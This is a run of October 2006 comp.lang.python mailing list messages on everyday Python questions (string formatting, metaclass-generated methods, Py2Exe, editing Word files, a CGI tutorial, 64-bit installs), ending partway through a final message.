> > The sort of thing that you would use to recover data from a currupt HDD
> > or floppy etc.  I would like to be pointed in the right direction as
> > far as modules to use and suggested approaches.
>
> 	Uh... this is highly OS dependent... You need to be able to do
> direct RAW disk sector addressing; something that OSs don't really like
> to give to applications. You also need very good documentation of the
> file system (and the only file system I know well enough to navigate at
> that level is one I haven't used in over a decade -- the file system
> used by the Amiga, which was a hashed-head, multiple linked list
> scheme).
> --
> 	Wulfraed	Dennis Lee Bieber		KD6MOG
> 	wlfraed at ix.netcom.com		wulfraed at bestiaria.com
> 		HTTP://wlfraed.home.netcom.com/

Yes, OK I guess NTFS would be of most interest to me.  From the
research I have been doing it may be that it is a fairly in depth
undertaking and possibly not such a good project considering my
knowledge of NTFS and python.  I will have bit more of a look about.

Thanks
> 	(Bestiaria Support Staff:		web-asst at bestiaria.com)
> 		HTTP://www.bestiaria.com/



From tim.golden at viacom-outdoor.co.uk  Thu Oct  5 07:55:54 2006
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Thu, 5 Oct 2006 12:55:54 +0100
Subject: Why do this?
In-Reply-To: <D4F9316ACC9D20489CC81D19B8A87D5B039FE591@UKEX01.Digica.local>
Message-ID: <CCAC78D42E32184F8E26DC163DB98306C1B4EB@vogbs009.gb.vo.local>

[Matthew Warren]

| Blame outlook and AutoCaps. If number were a number I would write
| 
| print "There are",number,"ways to skin a "+furryanimal

You see now that strikes me as a bit mixed up. Why not simply use?

print "a", number, "c", string

| > altho' print is slated for replacement by a function in Python 3.0
| > at which point they'll be necessary.
| 
| ? Why do that, point me at a PEP if required and I'll read it :)

Oft-discussed, and personally I prefer it as a statement,
but the edict has gone out. Look at PEP 3100:

http://www.python.org/dev/peps/pep-3100/

| That's something I wasn't aware of, and I think I'll try if I find
| myself going
| 
| "something"+dict['thingummy']+" red ones and "+dict['colour']+" ones"
| 
| The dict substitution does feel a bit easier to read compared to the
| concatenation, because of the dict['    ']  noise.

Ultimately it's down to you, but I think you may be doing
your code a disservice by so assiduously avoiding the %s-style
of string building. Your last example suggests that you
see the dict-subtitution flavour simply as an alternative to doing
"a" + dict[key1] + "b" + dict[key2] etc. I doubt if I've *ever* 
started with the one and ended with the other; rather I've seen that
my code would be more readable if I put/had what I wanted into a
dict (or a dict-like object; just has to support __getitem__).

An easy example of this is where -- like many, I believe -- I prefer my
database rows to come in dict-like objects, rather than the tuples which
the dbapi stipulates. Again, like many, I've used or rolled my own
wrapper
which means I can do things like this, where my dbutils.fetch function
returns some kind of object which traps __getitem__ calls for column
names and returns the appropriate entry in the underlying tuple:

<fake code>
import dbutils
db = db_module.connect (...)
for row in dbutils.fetch (db, "SELECT * FROM blah"):
  print "Customer %(name)s (%(id)d) has %(n_orders)d outstanding orders
since %(last_order_date)s" % row

</fake code>

TJG

________________________________________________________________________
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From fredrik at pythonware.com  Thu Oct 26 13:02:34 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 19:02:34 +0200
Subject: my first software
In-Reply-To: <4qc748Fm34hdU1@individual.net>
References: <1161866381.967287.30490@m7g2000cwm.googlegroups.com>
	<4qc748Fm34hdU1@individual.net>
Message-ID: <ehqpn9$3co$1@sea.gmane.org>

Bjoern Schliessmann wrote:

>> #!C:\\Python25
> 
> Just from curiosity: Since when does the hash bang work in Windows?

cygwin?  exemaker?  some kind of web server?

</F>



From ian at emit.demon.co.uk  Thu Oct 12 04:32:03 2006
From: ian at emit.demon.co.uk (Ian McConnell)
Date: Thu, 12 Oct 2006 09:32:03 +0100
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
Message-ID: <87fyduory4.fsf@emit.demon.co.uk>

bearophileHUGS at lycos.com writes:

> John Doty:
>> Yes. The efficient exact algorithms for this problem use *partial*
>> sorts. The Forth one from the FSL is of this class (although I know of
>> two better ones for big arrays). But it's tough to beat the efficiency
>> of the approximate histogram-based method the Python stats module
>> implements.
>
> The usual way to compute a true median with Python may be:
>
> def median(inlist):
>     newlist = sorted(inlist)
>     index = len(newlist) // 2
>     if len(newlist) % 2:
>         return newlist[index]
>     else:
>         return (newlist[index] + newlist[index-1]) / 2.0
>
> If you can use Psyco and your FITS lines are really long (well, maybe
> too much, the treshold if about >~3000 in my PC) you can use something
> like this instead the builtin timsort:
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/466330
> (To compute the median on a image line the median that uses sort is
> probably better in most cases, expecially if you use the built in sort
> of numerical libraries.)

sort() sorts all of the data, but you're only after one or two numbers, so
the MODFIND method may be faster for the median:

     http://www.geocities.com/SiliconValley/Garage/3323/algor.html

	Ian


From mike$#at^&nospam!%trauschus  Thu Oct 26 12:10:30 2006
From: mike$#at^&nospam!%trauschus (Michael B. Trausch)
Date: Thu, 26 Oct 2006 12:10:30 -0400
Subject: PyDev + Eclipse (Was: Re: What's the best IDE?)
In-Reply-To: <mailman.1239.1161839217.11739.python-list@python.org>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<mailman.1239.1161839217.11739.python-list@python.org>
Message-ID: <KZudnVLsLcBkQN3YnZ2dnUVZ_rudnZ2d@comcast.com>

Kenneth McDonald wrote:
>
> With the most recent edition of PyDev, I find Eclipse works quite well
> for me.
> 

Since you mentioned it, I have a question that searching around and
poking around has not solved for me, yet.

Do you have auto-completion working with your setup?  It does not seem
to work at all for me.  I have read through the configuration help, and
there are no firewalls on my system at all, and everything else works
save for auto-completion, which I have had to disable.  If left enabled,
even with low timeouts, I have to kill Eclipse and start it again.  :-/

Other than that, I find that it is absolutely wonderful.  I have used
Eclipse in the past for PHP based projects, and intend on using it for
Java projects in the future (my school has Java classes in its
curriculum instead of C classes... joy).

	-- Mike


From istvan.albert at gmail.com  Tue Oct  3 12:49:54 2006
From: istvan.albert at gmail.com (Istvan Albert)
Date: 3 Oct 2006 09:49:54 -0700
Subject: PATCH: Speed up direct string concatenation by 20+%!
References: <mailman.932.1159533269.10491.python-list@python.org>
	<1159540482.924744.164420@k70g2000cwa.googlegroups.com>
	<mailman.948.1159542291.10491.python-list@python.org>
	<1159545255.339364.299020@k70g2000cwa.googlegroups.com>
	<mailman.955.1159545644.10491.python-list@python.org>
	<1159546522.251704.301530@b28g2000cwb.googlegroups.com>
	<mailman.956.1159547188.10491.python-list@python.org>
	<1159552048.354214.198180@e3g2000cwe.googlegroups.com>
	<mailman.991.1159599674.10491.python-list@python.org>
	<1159762765.943691.139690@b28g2000cwb.googlegroups.com>
	<mailman.1072.1159766782.10491.python-list@python.org>
	<1159774531.004015.7390@e3g2000cwe.googlegroups.com>
	<1159853705.946422.70220@b28g2000cwb.googlegroups.com>
	<1159855375.951848.195790@m73g2000cwd.googlegroups.com>
	<1159888289.071764.274400@e3g2000cwe.googlegroups.com>
Message-ID: <1159894194.296766.181670@m73g2000cwd.googlegroups.com>

I remember a similar patch from some time ago:

http://mail.python.org/pipermail/python-dev/2004-August/046686.html

i



From paul at boddie.org.uk  Thu Oct 19 09:58:13 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 19 Oct 2006 06:58:13 -0700
Subject: Install from source on a x86_64 machine
References: <mailman.700.1161187902.11739.python-list@python.org>
	<1161252731.452070.308570@h48g2000cwc.googlegroups.com>
	<mailman.749.1161263922.11739.python-list@python.org>
Message-ID: <1161266293.603870.102470@i42g2000cwa.googlegroups.com>

Christopher Taylor wrote:
>
> ok, so where does that leave me.  I'm not even sure which files
> *should* be put in /lib64 vs lib.

I'd imagine that anything which is a .so file (plus the modules which
depend on it, I suppose) should be put in the appropriate library
directory. Thus, 32-bit libraries should go into
/usr/lib/python2.4/site-packages and 64-bit libraries should go into
/usr/lib64/python2.4/site-packages. That said, I can see things that
I've installed via distutils (and various make; make install
combinations) that are in the "wrong" directory.

> >>> I guess what I'm expecting is a congifure option to specify where
> architecture dependent files should be put.  <<<

Generally, the install process should respect the prefix (ie. /usr in
your case, /usr/local in the default case) and then choose the
appropriate library directories below that (ie. /usr/lib, /usr/lib64 in
your case), but I can't find anything obvious in the README about
specifying architecture-dependent install directories.

> Has anyone else mentioned this before?

I'd be interested to hear more about this as well.

Paul



From __peter__ at web.de  Wed Oct 18 08:14:44 2006
From: __peter__ at web.de (Peter Otten)
Date: Wed, 18 Oct 2006 14:14:44 +0200
Subject: python's OOP question
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>
	<mailman.551.1160968738.11739.python-list@python.org>
	<1160969393.803021.274070@e3g2000cwe.googlegroups.com>
	<45334fa9$0$5656$426a74cc@news.free.fr>
	<1160991239.541020.115320@m7g2000cwm.googlegroups.com>
	<453382b6$0$8601$426a74cc@news.free.fr>
	<1161054047.278803.241040@h48g2000cwc.googlegroups.com>
	<4534a656$0$19612$426a74cc@news.free.fr>
	<1161159369.957887.285370@m73g2000cwd.googlegroups.com>
	<iLnZg.7186$5i7.1472@newsreading01.news.tds.net>
Message-ID: <eh55nf$s9t$00$1@news.t-online.com>

Neil Cerutti wrote:

> On 2006-10-18, neoedmund <neoedmund at gmail.com> wrote:
>> ivestgating the web, i found something similiar with my approch:
>> http://en.wikipedia.org/wiki/Duck_typing
>> "Duck-typing avoids tests using type() or isinstance(). Instead, it
>> typically employs hasattr() tests"
> 
> It's pity it didn't get called quack typing. 

That's because the quacks prescribe static typing.

Peter



From bbull at optiosoftware.com  Thu Oct 19 22:59:54 2006
From: bbull at optiosoftware.com (WakeBdr)
Date: 19 Oct 2006 19:59:54 -0700
Subject: Can I use decorators to manipulate return type or create methods?
In-Reply-To: <1161298362.722062.265520@i3g2000cwc.googlegroups.com>
References: <1161265429.237110.43380@m73g2000cwd.googlegroups.com>
	<4ppla2Fit83qU1@uni-berlin.de>
	<1161298362.722062.265520@i3g2000cwc.googlegroups.com>
Message-ID: <1161313194.211420.236840@b28g2000cwb.googlegroups.com>

Diez,
I get what that accomplishes now, but I'm having problems in my
implementation.  I was able to write a standalone class that worked
correctly.  However, in my code the class that I need to exhibit this
functionality inherits from another class.  This seems to cause
problems when I attempt to implement you solution.

Let's say I have two classes that look like the following:

class Parent:
    def getUsers(self, params):
        raise 'Not implemented'

    def _toXML(self, result):
        return result.toXML()

    def _toList(self, result):
        return result.toList()

class Child(Parent):
    def getUsers(self, params):
        return users.query(dbc)


Caller object would say something like:
ch = Child()
ch.getUsersAsXML(params)

How would I implement your solution in this scenario.  I've tried
"marking" the parent method, "marking" the child method, "marking"
both, but nothing seems to work.

WakeBdr wrote:
> Diez,
>      What does the function._marked accomplish?
>
> Diez B. Roggisch wrote:
> > WakeBdr schrieb:
> > > I'm writing a class that will query a database for some data and return
> > > the result to the caller.  I need to be able to return the result of
> > > the query in several different ways: list, xml, dictionary, etc.  I was
> > > wondering if I can use decorators to accomplish this.
> > >
> > > For instance, I have the following method
> > >
> > > def getUsers(self, params):
> > >     return users.query(dbc)
> > >
> > > To get the appropriate return types, I also have these methods.  I have
> > > these convenience methods for every query method in my class.
> > >
> > > def getUsersAsXML(self, params):
> > >     return self._toXML(self.getUsers(params))
> > > def getUsersAsDict(self, params):
> > >     return self._toDict(self.getUsers(params))
> > > def getUsersAsList(self, params):
> > >     return self._toList(self.getUsers(params))
> > >
> > > Instead of creating these three methods for every query method, is
> > > there a way to use decorators to manipulate the return type.  I'd still
> > > like to have the caller use getUsersAsXML, I just don't want to write
> > > the AsXML methods for every query method.  So the decorator would
> > > essentially create the convenience methods instead of me coding them.
> > >
> > > One solution that I don't want to use is passing a variable into the
> > > query method that determines the return type.  This is what I don't
> > > want to do.
> > > def getUsers(self, params, returnType):
> > >
> > > Any ideas on how I can accomplish this?
> >
> > Use a metaclass.
> >
> > class Magic(type):
> >      def __new__(cls, name, bases, d):
> >          for name, function in d.items():
> >              try:
> >                  function._marked
> >                  def toXML(self, *args, **kwargs):
> >                      return self._toXML(function(self, *args, **kwargs))
> >                  def toFOO(self, *args, **kwargs):
> >                      return self._toFOO(function(self, *args, **kwargs))
> >                  d[name + "XML"] = toXML
> >                  d[name + "FOO"] = toFOO
> >              except AttributeError:
> >                  pass
> >          return type(name, bases, d)
> >
> >
> > def mark(f):
> >      f._marked = True
> >      return f
> >
> > class MyClass(object):
> >      __metaclass__ = Magic
> >
> >      def _toXML(self, value):
> >          return "Look Ma, its XML! %r" % value
> >
> >      def _toFOO(self, value):
> >          return "Look Ma, its FOO! %r" % value
> >
> >
> >      @mark
> >      def someMethod(self):
> >          return "Its the data, son"
> >
> >
> > o = MyClass()
> >
> > print o.someMethod()
> > print o.someMethodXML()
> > print o.someMethodFOO()
> > 
> > 
> > 
> > Diez



From python.list at tim.thechases.com  Sat Oct  7 18:21:55 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Sat, 07 Oct 2006 17:21:55 -0500
Subject: operator overloading + - / * = etc...
In-Reply-To: <slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu>
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>	<mailman.32.1160258060.11739.python-list@python.org>
	<slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu>
Message-ID: <45282883.2040509@tim.thechases.com>

>> With the caveat of the "=" mentioned in the subject-line (being
>> different from "==")...I haven't found any way to override
>> assignment in the general case.
> 
> Why would you want to do that?

For the same reason one would use property() to create 
getter/setter functions for a particular variable--to intercept 
attempts to set a variable.  I'm not sure there's an elegant way 
to do it other than creating a custom container object with a 
getter/setter using property().

My purpose was just to note that the "=" assignment operator is 
distinct from the remainder of the operators that you correctly 
identified can be overridden with their associated __[operator]__ 
method.

-tkc






From etienne at marcel.fr  Tue Oct  3 17:46:58 2006
From: etienne at marcel.fr (Etienne Marcel)
Date: Tue, 3 Oct 2006 23:46:58 +0200
Subject: Checking dependencies with distutils
Message-ID: <20061003234658.717de253@linux.fr>

Hello,

I would like to know if there is something in distutils (or in Python
stdlib) which allow me to check for dependencies (shared libraries,
headers or any other progs) before building/installing ?

I am aware of this nice utility :
http://trentm.com/projects/which/

which is useful (and cross platforms) to check if some executables are
in the "PATH".

Thanks in advance,


From percivall at gmail.com  Mon Oct  2 19:31:17 2006
From: percivall at gmail.com (Simon Percivall)
Date: 2 Oct 2006 16:31:17 -0700
Subject: where the extra space comes from on the stdout
References: <Kr2dnd7zz79dfoPYnZ2dnUVZ_ridnZ2d@comcast.com>
Message-ID: <1159831877.907144.171210@m73g2000cwd.googlegroups.com>


alf wrote:
> Hi,
>
> I can not find out where the extra space comes from. Run following:
>
> import os,sys
> while 1:
>      print 'Question [Y/[N]]?',
>      if sys.stdin.readline().strip() in ('Y','y'):
>          #do something
>          pass
>
> $ python q.py
> Question [Y/[N]]?y
>   Question [Y/[N]]?y
>   Question [Y/[N]]?y
>   Question [Y/[N]]?y
>   Question [Y/[N]]?n
>   Question [Y/[N]]?
>   Question [Y/[N]]?
>
>
> There is a space evrywhere just before Q
>
> Any insight?

You already got the answer, but as for the rest: It's really easier for
you if you use raw_input() for your question/input pair instead.



From haraldarminmassa at gmail.com  Mon Oct 30 04:56:34 2006
From: haraldarminmassa at gmail.com (GHUM)
Date: 30 Oct 2006 01:56:34 -0800
Subject: codecs - where are those on windows?
Message-ID: <1162202194.839564.30470@b28g2000cwb.googlegroups.com>

I stumbled apon a paragraph in python-dev about "reducing the size of
Python" for an embedded device:

"""
In my experience, the biggest gain can be obtained by dropping the
rarely-used
CJK codecs (for Asian languages). That should sum up to almost 800K
(uncompressed), IIRC.
"""

So, my question is: on Windows. where are those CJK codecs? Are they by
any chance included in the 1.867.776 bytes of python24.dll ?

Best wishes,

Harald



From david at boddie.org.uk  Wed Oct 25 08:22:43 2006
From: david at boddie.org.uk (David Boddie)
Date: 25 Oct 2006 05:22:43 -0700
Subject: python GUIs comparison (want)
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
	<453E3370.9060008@kevin-walzer.com>
	<eddc3$453eb1df$54d1d767$28881@news.chello.no>
	<mailman.1144.1161755212.11739.python-list@python.org>
	<453f16e5$0$28552$426a74cc@news.free.fr>
	<mailman.1153.1161763394.11739.python-list@python.org>
Message-ID: <1161778963.505003.73840@m7g2000cwm.googlegroups.com>

Fredrik Lundh wrote:
> Christophe wrote:

> > Even if you consider that the huge time saving you get out of using Qt
> > is worth more than what you pay to acquire a licence?
>
> then it sounds like a combination between "it's a silver bullet!" and
> "commercial software is better than free software!".

Well, nobody's stopping you from paying the commercial license fee (to
get access to support services) and releasing software under the GPL.

> no matter how good Qt is, the reality is that if you spend that much
> time on the UI implementation parts of your project, you're probably
> developing at the wrong abstraction level -- no matter what toolkit
> you're using.  and if you're doing UI development the wrong way, chances
> are that you're doing other things the wrong way too.

You're forgetting that Qt isn't just a widget toolkit.

David



From daniel.dittmar at sap.com  Tue Oct 24 04:35:01 2006
From: daniel.dittmar at sap.com (Daniel Dittmar)
Date: Tue, 24 Oct 2006 10:35:01 +0200
Subject: can't open word document after string replacements
In-Reply-To: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch>
References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch>
Message-ID: <ehkj7m$cm2$1@news.sap-ag.de>

Antoine De Groote wrote:
> I have a word document containing pictures and text. This documents 
> holds several 'ABCDEF' strings which serve as a placeholder for names. 
> Now I want to replace these occurences with names in a list (members). I 
> open both input and output file in binary mode and do the 
> transformation. However, I can't open the resulting file, Word just 
> telling that there was an error. Does anybody what I am doing wrong?

The Word document format probably contains some length information about 
paragraphs etc. If you change a string to another one of a different 
length, this length information will no longer match the data and the 
document structure will be hosed.

Possible solutions:
1. Use OLE automation (in the python win32 package) to open the file in 
Word and use Word search and replace. Your script could then directly 
print the document, which you probably have to do anyway.

2. Export the template document to RTF. This is a text format and can be 
more easily manipulated with Python.

> for line in doc:

I don't think that what you get here is actually a line of you document. 
Due to the binary nature of the format, it is an arbitrary chunk.

Daniel


From isaac.rodriguez at comcast.net  Wed Oct 11 09:42:36 2006
From: isaac.rodriguez at comcast.net (Isaac Rodriguez)
Date: 11 Oct 2006 06:42:36 -0700
Subject: Experiences with Py2Exe
Message-ID: <1160574156.861514.327390@i42g2000cwa.googlegroups.com>

Hi,

I am looking for feedback from people that has used or still uses
Py2Exe. I love to program in python, and I would like to use it to
write support tools for our development team, but I cannot require
everyone to install python in their machines, so I was thinking that
Py2Exe would help on that.

The support tools I write are mostly command line driven (no GUI), but
in the future, I would like to write some expert applications that will
contain GUI. I was thinking on using wxPython for the GUI, so I was
wondering how well behaves Py2Exe with the wxPython module.

Other modules I use besides the standard modules are CTypes and the
Perforce python module p4.py. I try not to use any of the win32 stuff,
but I can see how I will have to for some utilitites, so if anyone has
experience with the win32 modules and Py2Exe, any feedback will be
highly appreciated.

Thanks,

Isaac.



From tier at inbox.ru  Mon Oct 23 04:07:47 2006
From: tier at inbox.ru (Roman Petrichev)
Date: Mon, 23 Oct 2006 12:07:47 +0400
Subject: multythreading app memory consumption
In-Reply-To: <lmW_g.11155$Lv3.10148@newsread1.news.pas.earthlink.net>
References: <mailman.952.1161559842.11739.python-list@python.org>
	<lmW_g.11155$Lv3.10148@newsread1.news.pas.earthlink.net>
Message-ID: <453C7853.3090504@inbox.ru>

Dennis Lee Bieber wrote:
> On Mon, 23 Oct 2006 03:31:28 +0400, Roman Petrichev <tier at inbox.ru>
> declaimed the following in comp.lang.python:
> 
>> Hi folks.
>> I've just faced with very nasty memory consumption problem.
>> I have a multythreaded app with 150 threads which use the only and the 
>> same function - through urllib2 it just gets the web page's html code 
>> and assigns it to local variable. On the next turn the variable is 
>> overritten with another page's code. At every moment the summary of 
>> values of the variables containig code is not more than 15Mb (I've just 
>> invented a tricky way to measure this). But during the first 30 minutes 
>> all the system memory (512Mb) is consumed and 'MemoryError's is arising.
>> Why is it so and how can I limit the memory consumption in borders, say, 
>> 400Mb? Maybe there is a memory leak there?
>> Thnx
>>
> 	How much stack space gets allocated for 150 threads?
Actually I don't know. How can I get to know this?
>> Q = Queue.Queue()
>> for i in rez: #rez length - 5000
> 
> 	Can't be the "test code" as you don't show the imports or where
> "rez" is defined.
Isn't it clear that "rez" is just a list of 5000 urls? I cannot place it 
here, but believe me all of them are not big - "At every moment the 
summary of values of the variables containig code is not more than 15Mb"

Regards



From pydecker at gmail.com  Wed Oct  4 20:31:21 2006
From: pydecker at gmail.com (Peter Decker)
Date: Wed, 4 Oct 2006 20:31:21 -0400
Subject: Where is Python in the scheme of things?
In-Reply-To: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
Message-ID: <ca55a9900610041731l7de55ef9gbb180801cb550aef@mail.gmail.com>

On 10/4/06, gord <gord at no_spaming.com> wrote:
> As a complete novice in the study of Python, I am asking myself where this
> language is superior or better suited than others. For example, all I see in
> the tutorials are lots of examples of list processing, arithmetic
> calculations - all in a DOS-like environment.
>
> What is particularly disappointing is the absence of a Windows IDE,
> components and an event driven paradigm. How does Python stand relative to
> the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these
> programming packages are quite expensive now while Python is free (at least
> for the package I am using - ActivePython).

You might want to check out Dabo. It's a framework written by a couple
of guys coming from the world of Microsoft dev tools, and they seem to
be targeting their visual tools to that market. Their website is
http://dabodev.com.

I've been using Dabo for a while, both with and without the visual
tools, and it's amazing stuff.

-- 

# p.d.


From bdesth.quelquechose at free.quelquepart.fr  Tue Oct  3 17:55:46 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Tue, 03 Oct 2006 23:55:46 +0200
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
Message-ID: <4522d88b$0$12827$426a74cc@news.free.fr>

LaundroMat a ?crit :
> Suppose I have this function:
> 
> def f(var=1):
> return var*2
> 
> What value do I have to pass to f() if I want it to evaluate var to 1?
 >
> I know that f() will return 2, but what if I absolutely want to pass a
> value to f()? "None" doesn't seem to work..

Have you tried f(1) ?


From srikrishnamohan at gmail.com  Sun Oct  8 15:09:24 2006
From: srikrishnamohan at gmail.com (km)
Date: Mon, 9 Oct 2006 00:39:24 +0530
Subject: references and buffer()
In-Reply-To: <egbh20$o6q$2@sea.gmane.org>
References: <f4cc03640610081140i48be2853i68dde935d1b50b3d@mail.gmail.com>
	<egbh20$o6q$2@sea.gmane.org>
Message-ID: <f4cc03640610081209x772ca04ex2b47204a2003bfb0@mail.gmail.com>

Hi all,

in the CPython implementation, it's the address where the object is
> stored.  but that's an implementation detail.


 ok so can i point a vairiable to an address location just as done in C
language ?
>>> y = 'ATGCATGC'
>>> x = buffer(y)
>>> del(y)
>>> x
<read-only buffer for 0xbf4cf0e0, size -1, offset 0 at 0xbf4cf240>
>>> print x
ATGCATGC

now even when i delete y,  why is that x still exists ?
thats true even in the case of vairable assignment which states it a a
reference !
>>> a = 10
>>> b = a
>>> del(a)
>>> b
10
i always thought if u modify the referred variable/buffer object it should
be reflected in the referenced variables/buffers objects . am i wrong ?
does it mean that references  in python are not true references ?

regards,
KM
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From gigs at hi.t-com.hr  Thu Oct 19 05:51:34 2006
From: gigs at hi.t-com.hr (Gigs_)
Date: Thu, 19 Oct 2006 11:51:34 +0200
Subject: characters in python
In-Reply-To: <1161211582.976493.88330@i3g2000cwc.googlegroups.com>
References: <eh5p68$qcl$1@ss408.t-com.hr><eh5t1s$bq2$3@ss408.t-com.hr>
	<1161211582.976493.88330@i3g2000cwc.googlegroups.com>
Message-ID: <eh7hqm$mgl$2@ss408.t-com.hr>

Leo Kislov wrote:
> 
> On Oct 18, 11:50 am, Stens <sgi... at email.t-com.hr> wrote:
>> Stens wrote:
>>> Can python handle this characters: c,c,?,d,??
>>> If can how"I wanna to change some characters in text (in the file) to the
>> characters at this address:
>>
>> http://rapidshare.de/files/37244252/Untitled-1_copy.png.html
> 
> You need to use unicode, see any python unicode tutorial, for example
> this one http://www.amk.ca/python/howto/unicode or any other you can
> find with google.
> 
> Your script can look like this:
> 
> # -*- coding: PUT-HERE-ENCODING-OF-THIS-SCRIPT-FILE -*-
> import codecs
> outfile = codecs.open("your output file", "w", "encoding of the output
> file"):
> for line in codecs.open("your input file", "r", "encoding of the input
> file"):
>     outfile.write(line.replace(u'd',u'd'))
> 
thx Leo


From sjmachin at lexicon.net  Mon Oct  2 18:08:43 2006
From: sjmachin at lexicon.net (John Machin)
Date: 2 Oct 2006 15:08:43 -0700
Subject: Need help with an array problem.
In-Reply-To: <1159826153.470372.101200@e3g2000cwe.googlegroups.com>
References: <1159826153.470372.101200@e3g2000cwe.googlegroups.com>
Message-ID: <1159826923.911685.30120@m73g2000cwd.googlegroups.com>


SpreadTooThin wrote:
> Basically I think the problem is in converting from a 32 bit integer to
> a 16 bit integer.
>
> I have two arrays:
> import array
>
> a = array.array('L', [65537])
> b = array.array('H', [0])
>
> b[0] = a[0]
>
> Which gives an overflow message....

As it should.

> So can't I truncate the long by discaring the upper bits ..
> Like  b[0] = 0x0000FFFF & a[0]

Any reason why you don't you just try it?

| >>> import array
| >>> a = array.array('L', [65537])
| >>> b = array.array('H', [0])
| >>> a[0]
| 65537L
| >>> a[0] & 0xffff
| 1L
| >>> b[0] = a[0] & 0xffff
| >>> b[0]
| 1
| >>>



From anthra.norell at vtxmail.ch  Tue Oct 24 12:28:48 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Tue, 24 Oct 2006 18:28:48 +0200
Subject: can't open word document after string replacements
In-Reply-To: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch>
References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch>
Message-ID: <453E3F40.9010304@vtxmail.ch>

Antoine De Groote wrote:
> Hi there,
>
> I have a word document containing pictures and text. This documents 
> holds several 'ABCDEF' strings which serve as a placeholder for names. 
> Now I want to replace these occurences with names in a list (members). I 
> open both input and output file in binary mode and do the 
> transformation. However, I can't open the resulting file, Word just 
> telling that there was an error. Does anybody what I am doing wrong?
>
> Oh, and is this approach pythonic anyway? (I have a strong Java background.)
>
> Regards,
> antoine
>
>
> import os
>
> members = somelist
>
> os.chdir(somefolder)
>
> doc = file('ttt.doc', 'rb')
> docout = file('ttt1.doc', 'wb')
>
> counter = 0
>
> for line in doc:
>      while line.find('ABCDEF') > -1:
>          try:
>              line = line.replace('ABCDEF', members[counter], 1)
>              docout.write(line)
>              counter += 1
>          except:
>              docout.write(line.replace('ABCDEF', '', 1))
>      else:
>          docout.write(line)
>
> doc.close()
> docout.close()
>
>   
DOC files contain housekeeping info which becomes inconsistent if you 
change text. Possibly you can exchange stuff of equal length but that 
wouldn't serve your purpose. RTF files let you do substitutions and they 
save a lot of space too. But I kind of doubt whether RTF files can 
contain pictures.

Frederic





From fredrik at pythonware.com  Mon Oct 23 12:35:06 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 23 Oct 2006 18:35:06 +0200
Subject: sharing persisten cache between modules
In-Reply-To: <1161620802.744818.16500@e3g2000cwe.googlegroups.com>
References: <1161620802.744818.16500@e3g2000cwe.googlegroups.com>
Message-ID: <ehiqvq$p6g$1@sea.gmane.org>

Bart Ogryczak wrote:

> I?ve got a problem creating persistent cache, that would be shared
> between modules. There a supermodule, which calls submodules. I?d like
> submodules to use cache created in the supermodule. The only way I see
> right now, is to pass it as function argument, but that would require a
> change in API, which I?d prefer to avoid. Is this the only way?

does "module" mean Python module?  why not just put the cache management 
code in a module that's imported by any submodule that wants to use it ?

</F>



From clodoaldo.pinto at gmail.com  Wed Oct  4 16:52:52 2006
From: clodoaldo.pinto at gmail.com (Clodoaldo Pinto Neto)
Date: Wed, 4 Oct 2006 17:52:52 -0300
Subject: CGI Tutorial
In-Reply-To: <45241872.2020008@tim.thechases.com>
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
	<1159990808.443737.85880@i3g2000cwc.googlegroups.com>
	<45241872.2020008@tim.thechases.com>
Message-ID: <a595de7a0610041352m6c9ed9fdwf6078e0f348b558a@mail.gmail.com>

2006/10/4, Tim Chase <python.list at tim.thechases.com>:
> >> I'm just building a Python CGI Tutorial and would appreciate any
> >> feedback from the many experts in this list.
> >
> > http://webpython.codepoint.net
>
>
> Thanks! :)
>
> My first note would be regarding
>
> http://webpython.codepoint.net/shell_commands
>
> The code is very dangerous...allowing any ol' schmoe to run
> arbitrary code on your server.  At the barest of minimums, I'd
> plaster the code with warnings that this is a Very Dangerous
> Thing(tm) to do.

I though the danger was so obvious that i didn't bother. Now i have
issued a warning.

> Similarly, regarding
>
> http://webpython.codepoint.net/debugging
>
> you might want to caution that this will/can display potentially
> sensitive information (passwords, internal file-structure, etc),
> and thus should only be used while debugging, and turned off in
> any sort of production code.

Yes, another warning was issued.

Thanks for your help. Clodoaldo Pinto Neto


From paddy3118 at netscape.net  Fri Oct 20 23:21:36 2006
From: paddy3118 at netscape.net (Paddy)
Date: 20 Oct 2006 20:21:36 -0700
Subject: Rate my reply
In-Reply-To: <1161399285.948294.212870@m73g2000cwd.googlegroups.com>
References: <Qe9_g.129$1n3.3113@news.tufts.edu>
	<1161399285.948294.212870@m73g2000cwd.googlegroups.com>
Message-ID: <1161400896.021188.108240@f16g2000cwb.googlegroups.com>

Hi,
In answering Johns question I had to approach it from a standpoint of
originally not seeing that their could be a difficulty; railing myself
